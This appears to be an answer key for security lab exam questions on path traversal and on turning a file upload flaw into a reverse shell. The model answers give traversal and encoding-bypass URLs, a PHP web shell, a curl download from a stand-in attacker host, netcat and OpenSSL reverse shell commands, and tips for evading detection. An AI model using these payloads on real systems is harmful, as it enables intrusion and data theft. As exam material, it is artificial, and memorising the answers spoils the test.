

Lab questions 202410

Question 4 - 1x

Objective

To assess students' understanding of path traversal vulnerabilities and their ability to exploit such vulnerabilities to gain unauthorized access to files on a web server.

– FROM HERE

Scenario

You are testing a vulnerable e-commerce web application. The application allows users to load images via a URL parameter like this:

<https://vulnerable-website.com/loadImage?filename=product1.jpg>

However, you suspect that the web server is vulnerable to a **path traversal attack**, which may allow you to access files outside the intended directories.

Questions

1. Explain what it is and how you would exploit the **path traversal vulnerability** to access the `/etc/passwd` file on a Linux-based web server. What would the URL look like after exploitation?
2. Now assume that some basic filters block obvious path traversal patterns (like `../`). How would you bypass such filters?
 - a. Provide examples.
3. Why is accessing the `/etc/passwd` file on a Linux system significant in the context of a web attack? What kind of information could you extract from it?

4. What other files would you attempt to access and why? Explain whether you would expect them to be accessible by the user you execute commands as.

– TO HERE

Answers

1. Path Traversal Vulnerability:

Explanation:

Path Traversal (also known as directory traversal) is a web vulnerability that allows an attacker to access files and directories on a server that are outside the intended file directory. This is achieved by manipulating user input, often by inserting sequences like `../` (which means "go up one directory level"). If an application doesn't properly validate or sanitize this input, it could allow attackers to traverse directories and access sensitive files.

Exploitation:

To exploit this vulnerability and access the `/etc/passwd` file on a Linux-based web server, I would inject a path traversal payload into a vulnerable URL parameter. For example, if the URL for loading an image looks like this:

```
https://vulnerable-website.com/loadImage?filename=product1.jpg
```

I would modify the `filename` parameter to include `../` sequences to traverse to the root directory and access `/etc/passwd`:

```
https://vulnerable-website.com/loadImage?filename=../../../../etc/passwd
```

2. Encoding Techniques:

Explanation:

Some web applications implement filters to block basic path traversal patterns like `../`. However, attackers can bypass these filters using **URL encoding** or **double encoding** techniques to obfuscate the path traversal sequences.

URL Encoding:

URL encoding replaces characters with their encoded equivalents. For example, `../` can be encoded as `%2e%2e%2f`. This could allow the traversal to pass undetected by simple filters.

Example:

```
https://vulnerable-website.com/loadImage?filename=%2e%2e%2f%2e%2e%2f%2e%2fetc/passwd
```

Double Encoding:

In some cases, filters are more sophisticated, but double encoding can still bypass them. For instance, `../` can be encoded twice as `%252e%252e%252f`.

Example:

```
https://vulnerable-website.com/loadImage?filename=%252e%252e%252f%252e%252e%252fetc/passwd
```

3. Understanding the Attack:

Explanation:

Accessing the `/etc/passwd` file on a Linux system is significant because it contains information about all user accounts on the system. Although **it does not store passwords** (modern Linux systems store hashed passwords in `/etc/shadow`), the `/etc/passwd` file can still provide valuable information, such as:

- **Username:** This can be used for brute-force attacks or to identify high-value users (e.g., root).
- **Home directories:** Knowing a user's home directory can assist in finding sensitive files.
- **Default shells:** Identifying the shell a user is using can aid in further exploitation or privilege escalation.

4. What other files would you attempt to access and why?

After accessing `/etc/passwd`, I would try to access the following files:

- **`/etc/shadow`**: This file contains hashed user passwords. If accessible, I could attempt to crack these hashes offline. However, accessing this file typically requires root privileges, so I would not expect it to be accessible unless the web server is running with elevated privileges.
- **Web Server Configuration Files**: For example, `/etc/httpd/conf/httpd.conf` (for Apache) or `/etc/nginx/nginx.conf` (for Nginx). These files can provide insight into server configurations, such as virtual hosts, document root paths, and sometimes database connection details.
- **Log Files**: Accessing log files such as `/var/log/apache2/access.log` or `/var/log/nginx/access.log` can provide valuable information about user behaviour, server responses, and potential vulnerabilities.
- **Application Configuration Files**: Files like `config.php` (or equivalents) in web applications might contain database credentials or API keys. These files are often stored in the web root directory or a subdirectory, making them accessible via path traversal.

Expected Permissions:

Since the web server usually runs under a restricted user account (e.g., `www-data` for Apache or `nginx` for Nginx), access to highly sensitive files like `/etc/shadow` or configuration files in `/etc/` may be restricted. However, files within the web application's directory (e.g., `/var/www/`) are often readable by the web server user, making them easier targets for a path traversal attack.

Question 5 - 1.5x

Objective

To assess students' ability to exploit a vulnerability and establish a reverse shell using only outbound connections from the target machine.

– FROM HERE

Scenario

You are conducting a penetration test on a Linux-based web server running a php web application.

You have discovered an arbitrary file upload vulnerability in the web application. No tools like Netcat or Socat are installed on the server, but the /tmp directory can be written by the user for your foothold.

You also notice that the server has been configured to allow only outbound connections from the victim machine.

Questions

Using the discovered arbitrary file upload vulnerability, describe how you would establish a reverse shell back to your attacking machine. Your explanation should cover the following points:

1. How would you exploit the file upload vulnerability to upload a web shell to the server?
2. What user do you expect to be executing commands as?
3. Suppose you want to use netcat (which is NOT installed on the victim) for your reverse shell, what should you do to make it available?
4. Explain how to create a reverse shell with netcat (victim + attackbox commands)
5. Can you describe how to make the reverse shell more stealth? For this question, you can use any tool, but you should explain in details how you would go about it.

– TO HERE

Answer

1. How would you exploit the file upload vulnerability to upload a web shell to the server?

I will exploit the arbitrary file upload vulnerability by uploading a **web shell** to the server. The web shell will allow me to remotely execute commands on the server through a web request. A simple PHP web shell could look like this:

```
<?php system($_REQUEST['cmd']); ?>
```

Once the shell is uploaded, I can interact with it by sending commands via a URL, such as:

```
http://victim.com/shell.php?cmd=<command>
```

Here, **<command>** will be any Linux command that I want to execute on the victim machine.

2. What user do you expect to be executing commands as?

Since the web shell is running in the context of the web server, the commands will most likely be executed as the **web server user**. On Linux, this is often:

- **www-data** for Apache or Nginx web servers.
- **apache** for Apache-based systems.

This user typically has **limited privileges**, which restricts certain actions like modifying system files or executing root-level commands. However, this access is often enough to establish a reverse shell or escalate privileges later.

3. Suppose you want to use netcat (which is NOT installed on the victim) for your reverse shell, what should you do to make it available?

If **Netcat is not installed** on the victim server and I cannot install it due to privilege restrictions, I can transfer it to the server by **uploading a precompiled static binary** of Netcat. Here's how I could do it:

- First, I would download or compile a static version of Netcat on my local machine.

I would then upload it to the victim using the same file upload vulnerability. Alternatively, I could use **curl** or **wget** on the victim machine (if available) to download Netcat from my server:

```
curl http://evilsite.com/nc -o /tmp/nc
```

- After uploading, I would make Netcat executable by setting the proper permissions:

```
chmod +x /tmp/nc
```

4. Explain how to create a reverse shell with netcat (victim + attackbox commands)

Once Netcat is available on the victim machine, I can use it to create a **reverse shell** that connects back to my attack box. The steps are as follows:

On the Attacker's Machine (Attack Box):

I would set up a listener on my machine to receive the connection from the victim:

```
nc -lp 4444
```

This command listens on port **4444** and waits for an incoming connection from the victim.

On the Victim Machine (via the uploaded web shell):

I would execute a Netcat command that opens a reverse shell connection back to my attack box:

```
/tmp/nc <attacker_ip> 4444 -e /bin/bash
```

This command tells the victim machine to connect to my attack box's IP address on port 4444, and once connected, execute `/bin/bash` to provide an interactive shell.

Once the connection is established, I would have interactive access to the victim machine through the bash shell.

5. Can you describe how to make the reverse shell more stealth?

To make the reverse shell more stealthy, I could employ several techniques to evade detection. One effective way is to use **encryption** or **obfuscation** to hide the shell's traffic from being easily identified by network monitoring systems. Here's how I would approach it:

Using OpenSSL to Encrypt the Reverse Shell Traffic:

On the Attacker's Machine:

```
openssl req -newkey rsa:2048 -nodes -x509 -keyout shell.key -out shell.crt
```

Combine the key and certificate into one file:

```
cat shell.key shell.crt > shell.pem
```

Start an encrypted listener using **socat** (to be downloaded as described in the previous question) and the generated SSL certificate:

```
socat OPENSSL-LISTEN:443,cert=shell.pem,verify=0 FILE:`tty`
```

This listens for incoming SSL-encrypted connections on port 443, which is typically allowed by firewalls.

On the Victim Machine (via the web shell):

Execute the following reverse shell command using **OpenSSL**:

```
mkfifo /tmp/f; openssl s_client -quiet -connect  
<attacker_ip>:443 < /tmp/f | bash > /tmp/f
```

This creates an encrypted reverse shell using **OpenSSL** that connects back to the attacker on port 443 (a port typically allowed through firewalls).